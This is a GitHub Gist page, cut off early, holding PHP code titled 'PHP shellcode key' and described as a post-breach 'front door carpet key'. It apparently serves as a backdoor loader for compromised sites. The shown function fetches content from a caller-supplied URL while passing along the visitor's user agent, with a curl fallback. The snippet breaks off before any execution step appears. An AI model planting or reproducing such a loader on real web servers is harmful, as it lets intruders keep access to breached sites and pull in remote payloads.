Skip to content

Instantly share code, notes, and snippets.

View nolochemical's full-sized avatar

Victor Phelemba nolochemical

  • Toronto, Ontario
View GitHub Profile
@nolochemical
nolochemical / PHP shellcode key
Last active August 29, 2015 14:25 — forked from anonymous/PHP shellcode key
A front door carpet key.. #AfterABreach
<?php
function _dlss($url)
{
$file_contents = '';
$real_user_agent = $_SERVER['HTTP_USER_AGENT'];
if (function_exists('file_get_contents')) {
ini_set('user_agent',$real_user_agent);
$file_contents = @file_get_contents($url);
}
if (strlen($file_contents) < 10 && function_exists('curl_init')) {